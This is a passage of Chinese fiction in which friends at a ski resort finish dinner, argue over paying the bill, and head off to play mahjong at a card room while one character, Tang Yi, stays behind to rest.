“这倒也是。”传岚附和。
俗,太俗了,纪传岚不仅俗,还没底线没原则,说话说一半,就被别人随口两句牵着走了,唐毅宁可自己想多了也不愿意相信自己刚才竟会对他感兴趣。
饭毕,传岚结账,两拨人关于买单拉扯了一会,最终传岚以自己阵营人多为由买了单,唐毅意思方思域将两人的份转账过去,众人又嬉笑谦让了会,于是就晚上吃宵夜或者其他费用由方思域负责买单达成一致而结束了费用这个问题。
“待会夜场,你去不去啊?”方思域扭头问旁边的传岚。
“不去,下午滑好了,再去明天要起不来了。”
“那待会去消消食?”
“你丢下朋友找我消食不太好吧。”
“没事,我这朋友就喜欢安静,他一个人呆着更自在些。”
唐毅意味深明的看了一眼方思域,翩翩有礼地笑着说:“是啊,你们待会去活动吧,我刚好开车有点累,先去休息,夜场我就不参加了。”
传岚也没拆穿方思域前后矛盾的话,爱凑热闹也不是什么大问题,想了想说:“主要周边也没个什么好玩的,要不干脆去看下有没有棋牌室,去搓两把麻将算了,前几天在家玩的还可以。”
“你还会打麻将啊,真厉害。”方思域很是捧场。
“这有什么不会的,很好学啊,国□□动,大家都会吧。”
“我不会。”舒华举起手弱弱说道。
“没事,特简单,到时候跟你说下规则来两盘,保准你立马学会。”卓雅说。
“先看下有没有棋牌室,没有的话买几副牌玩也是一样的。”舒华说着就打算掏出手机查查。
“有的,就在酒店旁边,说起来我们酒店里也有带麻将的套房。”早已查好信息的赵鹏飞出声回到。
“那就去棋牌室吧,我们人多,开两桌。”
除了唐毅,众人浩浩荡荡的朝着棋牌室出发了。